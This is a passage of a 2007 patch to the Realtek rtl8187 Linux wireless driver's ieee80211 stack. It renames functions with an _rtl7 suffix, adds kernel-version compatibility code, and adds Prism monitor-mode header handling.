KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-07-13 01:46:05.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-07-13 01:46:05.000000000 +0200 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +253,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if 